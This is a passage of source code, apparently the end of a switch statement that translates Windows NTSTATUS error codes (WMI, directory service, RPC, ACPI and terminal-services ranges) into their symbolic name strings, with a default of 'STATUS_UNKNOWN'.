"STATUS_WAKE_SYSTEM" case 0xC0000295: return "STATUS_WMI_GUID_NOT_FOUND" case 0xC0000296: return "STATUS_WMI_INSTANCE_NOT_FOUND" case 0xC0000297: return "STATUS_WMI_ITEMID_NOT_FOUND" case 0xC0000298: return "STATUS_WMI_TRY_AGAIN" case 0xC0000299: return "STATUS_SHARED_POLICY" case 0xC000029A: return "STATUS_POLICY_OBJECT_NOT_FOUND" case 0xC000029B: return "STATUS_POLICY_ONLY_IN_DS" case 0xC000029C: return "STATUS_VOLUME_NOT_UPGRADED" case 0xC000029D: return "STATUS_REMOTE_STORAGE_NOT_ACTIVE" case 0xC000029E: return "STATUS_REMOTE_STORAGE_MEDIA_ERROR" case 0xC000029F: return "STATUS_NO_TRACKING_SERVICE" case 0xC00002A0: return "STATUS_SERVER_SID_MISMATCH" case 0xC00002A1: return "STATUS_DS_NO_ATTRIBUTE_OR_VALUE" case 0xC00002A2: return "STATUS_DS_INVALID_ATTRIBUTE_SYNTAX" case 0xC00002A3: return "STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED" case 0xC00002A4: return "STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS" case 0xC00002A5: return "STATUS_DS_BUSY" case 0xC00002A6: return "STATUS_DS_UNAVAILABLE" case 0xC00002A7: return "STATUS_DS_NO_RIDS_ALLOCATED" case 0xC00002A8: return "STATUS_DS_NO_MORE_RIDS" case 0xC00002A9: return "STATUS_DS_INCORRECT_ROLE_OWNER" case 0xC00002AA: return "STATUS_DS_RIDMGR_INIT_ERROR" case 0xC00002AB: return "STATUS_DS_OBJ_CLASS_VIOLATION" case 0xC00002AC: return "STATUS_DS_CANT_ON_NON_LEAF" case 0xC00002AD: return "STATUS_DS_CANT_ON_RDN" case 0xC00002AE: return "STATUS_DS_CANT_MOD_OBJ_CLASS" case 0xC00002AF: return "STATUS_DS_CROSS_DOM_MOVE_FAILED" case 0xC00002B0: return "STATUS_DS_GC_NOT_AVAILABLE" case 0xC00002B1: return "STATUS_DIRECTORY_SERVICE_REQUIRED" case 0xC00002B2: return "STATUS_REPARSE_ATTRIBUTE_CONFLICT" case 0xC00002B3: return "STATUS_CANT_ENABLE_DENY_ONLY" case 0xC00002B4: return "STATUS_FLOAT_MULTIPLE_FAULTS" case 0xC00002B5: return "STATUS_FLOAT_MULTIPLE_TRAPS" case 0xC00002B6: return "STATUS_DEVICE_REMOVED" case 0xC00002B7: return "STATUS_JOURNAL_DELETE_IN_PROGRESS" case 0xC00002B8: return "STATUS_JOURNAL_NOT_ACTIVE" case 0xC00002B9: return "STATUS_NOINTERFACE" case 0xC00002C1: return "STATUS_DS_ADMIN_LIMIT_EXCEEDED" case 0xC00002C2: return "STATUS_DRIVER_FAILED_SLEEP" case 0xC00002C3: return "STATUS_MUTUAL_AUTHENTICATION_FAILED" case 0xC00002C4: return "STATUS_CORRUPT_SYSTEM_FILE" case 0xC00002C5: return "STATUS_DATATYPE_MISALIGNMENT_ERROR" case 0xC00002C6: return "STATUS_WMI_READ_ONLY" case 0xC00002C7: return "STATUS_WMI_SET_FAILURE" case 0xC00002C8: return "STATUS_COMMITMENT_MINIMUM" case 0xC00002C9: return "STATUS_REG_NAT_CONSUMPTION" case 0xC00002CA: return "STATUS_TRANSPORT_FULL" case 0xC00002CB: return "STATUS_DS_SAM_INIT_FAILURE" case 0xC00002CC: return "STATUS_ONLY_IF_CONNECTED" case 0xC00002CD: return "STATUS_DS_SENSITIVE_GROUP_VIOLATION" case 0xC00002CE: return "STATUS_PNP_RESTART_ENUMERATION" case 0xC00002CF: return "STATUS_JOURNAL_ENTRY_DELETED" case 0xC00002D0: return "STATUS_DS_CANT_MOD_PRIMARYGROUPID" case 0xC00002D1: return "STATUS_SYSTEM_IMAGE_BAD_SIGNATURE" case 0xC00002D2: return "STATUS_PNP_REBOOT_REQUIRED" case 0xC00002D3: return "STATUS_POWER_STATE_INVALID" case 0xC00002D4: return "STATUS_DS_INVALID_GROUP_TYPE" case 0xC00002D5: return "STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN" case 0xC00002D6: return "STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN" case 0xC00002D7: return "STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER" case 0xC00002D8: return "STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER" case 0xC00002D9: return "STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER" case 0xC00002DA: return "STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER" case 0xC00002DB: return "STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER" case 0xC00002DC: return "STATUS_DS_HAVE_PRIMARY_MEMBERS" case 0xC00002DD: return "STATUS_WMI_NOT_SUPPORTED" case 0xC00002DE: return "STATUS_INSUFFICIENT_POWER" case 0xC00002DF: return "STATUS_SAM_NEED_BOOTKEY_PASSWORD" case 0xC00002E0: return "STATUS_SAM_NEED_BOOTKEY_FLOPPY" case 0xC00002E1: return "STATUS_DS_CANT_START" case 0xC00002E2: return "STATUS_DS_INIT_FAILURE" case 0xC00002E3: return "STATUS_SAM_INIT_FAILURE" case 0xC00002E4: return "STATUS_DS_GC_REQUIRED" case 0xC00002E5: return "STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY" case 0xC00002E6: return "STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS" case 0xC00002E7: return "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" case 0xC00002E8: return "STATUS_MULTIPLE_FAULT_VIOLATION" case 0xC0000300: return "STATUS_NOT_SUPPORTED_ON_SBS" case 0xC0009898: return "STATUS_WOW_ASSERTION" case 0xC0010001: return "DBG_NO_STATE_CHANGE" case 0xC0010002: return "DBG_APP_NOT_IDLE" case 0xC0020001: return "RPC_NT_INVALID_STRING_BINDING" case 0xC0020002: return "RPC_NT_WRONG_KIND_OF_BINDING" case 0xC0020003: return "RPC_NT_INVALID_BINDING" case 0xC0020004: return "RPC_NT_PROTSEQ_NOT_SUPPORTED" case 0xC0020005: return "RPC_NT_INVALID_RPC_PROTSEQ" case 0xC0020006: return "RPC_NT_INVALID_STRING_UUID" case 0xC0020007: return "RPC_NT_INVALID_ENDPOINT_FORMAT" case 0xC0020008: return "RPC_NT_INVALID_NET_ADDR" case 0xC0020009: return "RPC_NT_NO_ENDPOINT_FOUND" case 0xC002000A: return "RPC_NT_INVALID_TIMEOUT" case 0xC002000B: return "RPC_NT_OBJECT_NOT_FOUND" case 0xC002000C: return "RPC_NT_ALREADY_REGISTERED" case 0xC002000D: return "RPC_NT_TYPE_ALREADY_REGISTERED" case 0xC002000E: return "RPC_NT_ALREADY_LISTENING" case 0xC002000F: return "RPC_NT_NO_PROTSEQS_REGISTERED" case 0xC0020010: return "RPC_NT_NOT_LISTENING" case 0xC0020011: return "RPC_NT_UNKNOWN_MGR_TYPE" case 0xC0020012: return "RPC_NT_UNKNOWN_IF" case 0xC0020013: return "RPC_NT_NO_BINDINGS" case 0xC0020014: return "RPC_NT_NO_PROTSEQS" case 0xC0020015: return "RPC_NT_CANT_CREATE_ENDPOINT" case 0xC0020016: return "RPC_NT_OUT_OF_RESOURCES" case 0xC0020017: return "RPC_NT_SERVER_UNAVAILABLE" case 0xC0020018: return "RPC_NT_SERVER_TOO_BUSY" case 0xC0020019: return "RPC_NT_INVALID_NETWORK_OPTIONS" case 0xC002001A: return "RPC_NT_NO_CALL_ACTIVE" case 0xC002001B: return "RPC_NT_CALL_FAILED" case 0xC002001C: return "RPC_NT_CALL_FAILED_DNE" case 0xC002001D: return "RPC_NT_PROTOCOL_ERROR" case 0xC002001F: return "RPC_NT_UNSUPPORTED_TRANS_SYN" case 0xC0020021: return "RPC_NT_UNSUPPORTED_TYPE" case 0xC0020022: return "RPC_NT_INVALID_TAG" case 0xC0020023: return "RPC_NT_INVALID_BOUND" case 0xC0020024: return "RPC_NT_NO_ENTRY_NAME" case 0xC0020025: return "RPC_NT_INVALID_NAME_SYNTAX" case 0xC0020026: return "RPC_NT_UNSUPPORTED_NAME_SYNTAX" case 0xC0020028: return "RPC_NT_UUID_NO_ADDRESS" case 0xC0020029: return "RPC_NT_DUPLICATE_ENDPOINT" case 0xC002002A: return "RPC_NT_UNKNOWN_AUTHN_TYPE" case 0xC002002B: return "RPC_NT_MAX_CALLS_TOO_SMALL" case 0xC002002C: return "RPC_NT_STRING_TOO_LONG" case 0xC002002D: return "RPC_NT_PROTSEQ_NOT_FOUND" case 0xC002002E: return "RPC_NT_PROCNUM_OUT_OF_RANGE" case 0xC002002F: return "RPC_NT_BINDING_HAS_NO_AUTH" case 0xC0020030: return "RPC_NT_UNKNOWN_AUTHN_SERVICE" case 0xC0020031: return "RPC_NT_UNKNOWN_AUTHN_LEVEL" case 0xC0020032: return "RPC_NT_INVALID_AUTH_IDENTITY" case 0xC0020033: return "RPC_NT_UNKNOWN_AUTHZ_SERVICE" case 0xC0020034: return "EPT_NT_INVALID_ENTRY" case 0xC0020035: return "EPT_NT_CANT_PERFORM_OP" case 0xC0020036: return "EPT_NT_NOT_REGISTERED" case 0xC0020037: return "RPC_NT_NOTHING_TO_EXPORT" case 0xC0020038: return "RPC_NT_INCOMPLETE_NAME" case 0xC0020039: return "RPC_NT_INVALID_VERS_OPTION" case 0xC002003A: return "RPC_NT_NO_MORE_MEMBERS" case 0xC002003B: return "RPC_NT_NOT_ALL_OBJS_UNEXPORTED" case 0xC002003C: return "RPC_NT_INTERFACE_NOT_FOUND" case 0xC002003D: return "RPC_NT_ENTRY_ALREADY_EXISTS" case 0xC002003E: return "RPC_NT_ENTRY_NOT_FOUND" case 0xC002003F: return "RPC_NT_NAME_SERVICE_UNAVAILABLE" case 0xC0020040: return "RPC_NT_INVALID_NAF_ID" case 0xC0020041: return "RPC_NT_CANNOT_SUPPORT" case 0xC0020042: return "RPC_NT_NO_CONTEXT_AVAILABLE" case 0xC0020043: return "RPC_NT_INTERNAL_ERROR" case 0xC0020044: return "RPC_NT_ZERO_DIVIDE" case 0xC0020045: return "RPC_NT_ADDRESS_ERROR" case 0xC0020046: return "RPC_NT_FP_DIV_ZERO" case 0xC0020047: return "RPC_NT_FP_UNDERFLOW" case 0xC0020048: return "RPC_NT_FP_OVERFLOW" case 0xC0030001: return "RPC_NT_NO_MORE_ENTRIES" case 0xC0030002: return "RPC_NT_SS_CHAR_TRANS_OPEN_FAIL" case 0xC0030003: return "RPC_NT_SS_CHAR_TRANS_SHORT_FILE" case 0xC0030004: return "RPC_NT_SS_IN_NULL_CONTEXT" case 0xC0030005: return "RPC_NT_SS_CONTEXT_MISMATCH" case 0xC0030006: return "RPC_NT_SS_CONTEXT_DAMAGED" case 0xC0030007: return "RPC_NT_SS_HANDLES_MISMATCH" case 0xC0030008: return "RPC_NT_SS_CANNOT_GET_CALL_HANDLE" case 0xC0030009: return "RPC_NT_NULL_REF_POINTER" case 0xC003000A: return "RPC_NT_ENUM_VALUE_OUT_OF_RANGE" case 0xC003000B: return "RPC_NT_BYTE_COUNT_TOO_SMALL" case 0xC003000C: return "RPC_NT_BAD_STUB_DATA" case 0xC0020049: return "RPC_NT_CALL_IN_PROGRESS" case 0xC002004A: return "RPC_NT_NO_MORE_BINDINGS" case 0xC002004B: return "RPC_NT_GROUP_MEMBER_NOT_FOUND" case 0xC002004C: return "EPT_NT_CANT_CREATE" case 0xC002004D: return "RPC_NT_INVALID_OBJECT" case 0xC002004F: return "RPC_NT_NO_INTERFACES" case 0xC0020050: return "RPC_NT_CALL_CANCELLED" case 0xC0020051: return "RPC_NT_BINDING_INCOMPLETE" case 0xC0020052: return "RPC_NT_COMM_FAILURE" case 0xC0020053: return "RPC_NT_UNSUPPORTED_AUTHN_LEVEL" case 0xC0020054: return "RPC_NT_NO_PRINC_NAME" case 0xC0020055: return "RPC_NT_NOT_RPC_ERROR" case 0x40020056: return "RPC_NT_UUID_LOCAL_ONLY" case 0xC0020057: return "RPC_NT_SEC_PKG_ERROR" case 0xC0020058: return "RPC_NT_NOT_CANCELLED" case 0xC0030059: return "RPC_NT_INVALID_ES_ACTION" case 0xC003005A: return "RPC_NT_WRONG_ES_VERSION" case 0xC003005B: return "RPC_NT_WRONG_STUB_VERSION" case 0xC003005C: return "RPC_NT_INVALID_PIPE_OBJECT" case 0xC003005D: return "RPC_NT_INVALID_PIPE_OPERATION" case 0xC003005E: return "RPC_NT_WRONG_PIPE_VERSION" case 0xC003005F: return "RPC_NT_PIPE_CLOSED" case 0xC0030060: return "RPC_NT_PIPE_DISCIPLINE_ERROR" case 0xC0030061: return "RPC_NT_PIPE_EMPTY" case 0xC0020062: return "RPC_NT_INVALID_ASYNC_HANDLE" case 0xC0020063: return "RPC_NT_INVALID_ASYNC_CALL" case 0x400200AF: return "RPC_NT_SEND_INCOMPLETE" case 0xC0140001: return "STATUS_ACPI_INVALID_OPCODE" case 0xC0140002: return "STATUS_ACPI_STACK_OVERFLOW" case 0xC0140003: return "STATUS_ACPI_ASSERT_FAILED" case 0xC0140004: return "STATUS_ACPI_INVALID_INDEX" case 0xC0140005: return "STATUS_ACPI_INVALID_ARGUMENT" case 0xC0140006: return "STATUS_ACPI_FATAL" case 0xC0140007: return "STATUS_ACPI_INVALID_SUPERNAME" case 0xC0140008: return "STATUS_ACPI_INVALID_ARGTYPE" case 0xC0140009: return "STATUS_ACPI_INVALID_OBJTYPE" case 0xC014000A: return "STATUS_ACPI_INVALID_TARGETTYPE" case 0xC014000B: return "STATUS_ACPI_INCORRECT_ARGUMENT_COUNT" case 0xC014000C: return "STATUS_ACPI_ADDRESS_NOT_MAPPED" case 0xC014000D: return "STATUS_ACPI_INVALID_EVENTTYPE" case 0xC014000E: return "STATUS_ACPI_HANDLER_COLLISION" case 0xC014000F: return "STATUS_ACPI_INVALID_DATA" case 0xC0140010: return "STATUS_ACPI_INVALID_REGION" case 0xC0140011: return "STATUS_ACPI_INVALID_ACCESS_SIZE" case 0xC0140012: return "STATUS_ACPI_ACQUIRE_GLOBAL_LOCK" case 0xC0140013: return "STATUS_ACPI_ALREADY_INITIALIZED" case 0xC0140014: return "STATUS_ACPI_NOT_INITIALIZED" case 0xC0140015: return "STATUS_ACPI_INVALID_MUTEX_LEVEL" case 0xC0140016: return "STATUS_ACPI_MUTEX_NOT_OWNED" case 0xC0140017: return "STATUS_ACPI_MUTEX_NOT_OWNER" case 0xC0140018: return "STATUS_ACPI_RS_ACCESS" case 0xC0140019: return "STATUS_ACPI_INVALID_TABLE" case 0xC0140020: return "STATUS_ACPI_REG_HANDLER_FAILED" case 0xC0140021: return "STATUS_ACPI_POWER_REQUEST_FAILED" case 0xC00A0001: return "STATUS_CTX_WINSTATION_NAME_INVALID" case 0xC00A0002: return "STATUS_CTX_INVALID_PD" case 0xC00A0003: return "STATUS_CTX_PD_NOT_FOUND" case 0x400A0004: return "STATUS_CTX_CDM_CONNECT" case 0x400A0005: return "STATUS_CTX_CDM_DISCONNECT" case 0xC00A0006: return "STATUS_CTX_CLOSE_PENDING" case 0xC00A0007: return "STATUS_CTX_NO_OUTBUF" case 0xC00A0008: return "STATUS_CTX_MODEM_INF_NOT_FOUND" case 0xC00A0009: return "STATUS_CTX_INVALID_MODEMNAME" case 0xC00A000A: return "STATUS_CTX_RESPONSE_ERROR" case 0xC00A000B: return "STATUS_CTX_MODEM_RESPONSE_TIMEOUT" case 0xC00A000C: return "STATUS_CTX_MODEM_RESPONSE_NO_CARRIER" case 0xC00A000D: return "STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE" case 0xC00A000E: return "STATUS_CTX_MODEM_RESPONSE_BUSY" case 0xC00A000F: return "STATUS_CTX_MODEM_RESPONSE_VOICE" case 0xC00A0010: return "STATUS_CTX_TD_ERROR" case 0xC00A0012: return "STATUS_CTX_LICENSE_CLIENT_INVALID" case 0xC00A0013: return "STATUS_CTX_LICENSE_NOT_AVAILABLE" case 0xC00A0014: return "STATUS_CTX_LICENSE_EXPIRED" case 0xC00A0015: return "STATUS_CTX_WINSTATION_NOT_FOUND" case 0xC00A0016: return "STATUS_CTX_WINSTATION_NAME_COLLISION" case 0xC00A0017: return "STATUS_CTX_WINSTATION_BUSY" case 0xC00A0018: return "STATUS_CTX_BAD_VIDEO_MODE" case 0xC00A0022: return "STATUS_CTX_GRAPHICS_INVALID" case 0xC00A0024: return "STATUS_CTX_NOT_CONSOLE" case 0xC00A0026: return "STATUS_CTX_CLIENT_QUERY_TIMEOUT" case 0xC00A0027: return "STATUS_CTX_CONSOLE_DISCONNECT" case 0xC00A0028: return "STATUS_CTX_CONSOLE_CONNECT" case 0xC00A002A: return "STATUS_CTX_SHADOW_DENIED" case 0xC00A002B: return "STATUS_CTX_WINSTATION_ACCESS_DENIED" case 0xC00A002E: return "STATUS_CTX_INVALID_WD" case 0xC00A002F: return "STATUS_CTX_WD_NOT_FOUND" case 0xC00A0030: return "STATUS_CTX_SHADOW_INVALID" case 0xC00A0031: return "STATUS_CTX_SHADOW_DISABLED" case 0xC00A0032: return "STATUS_RDP_PROTOCOL_ERROR" case 0xC00A0033: return "STATUS_CTX_CLIENT_LICENSE_NOT_SET" case 0xC00A0034: return "STATUS_CTX_CLIENT_LICENSE_IN_USE" case 0xC0040035: return "STATUS_PNP_BAD_MPS_TABLE" case 0xC0040036: return "STATUS_PNP_TRANSLATION_FAILED" case 0xC0040037: return "STATUS_PNP_IRQ_TRANSLATION_FAILED" default: return "STATUS_UNKNOWN" } }